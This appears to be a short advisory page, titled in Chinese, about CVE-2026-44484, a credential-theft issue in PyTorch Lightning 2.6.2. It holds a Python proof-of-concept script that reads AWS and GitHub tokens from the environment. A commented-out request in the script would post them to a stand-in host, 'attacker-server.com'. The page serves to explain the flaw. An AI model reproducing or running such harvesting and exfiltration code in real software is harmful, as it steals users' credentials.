CVE-2026-44484 PyTorch Lightning凭证窃取漏洞

# Proof of Concept for CVE-2026-44484 # This script demonstrates how the credential harvesting mechanism might be triggered. import os import requests def check_vulnerability(): print("[+] Simulating CVE-2026-44484 in PyTorch Lightning 2.6.2") # Simulate the malicious behavior present in the vulnerable version # In a real scenario, this would happen inside the library code sensitive_data = { "AWS_ACCESS_KEY": os.getenv("AWS_ACCESS_KEY"), "GITHUB_TOKEN": os.getenv("GITHUB_TOKEN") } if sensitive_data["AWS_ACCESS_KEY"]: print(f"[!] Detected potential data exfiltration: {sensitive_data}") #模拟发送数据到攻击者服务器 # requests.post("http://attacker-server.com/collect", json=sensitive_data) else: print("[-] No sensitive credentials found in environment.") if __name__ == "__main__": check_vulnerability()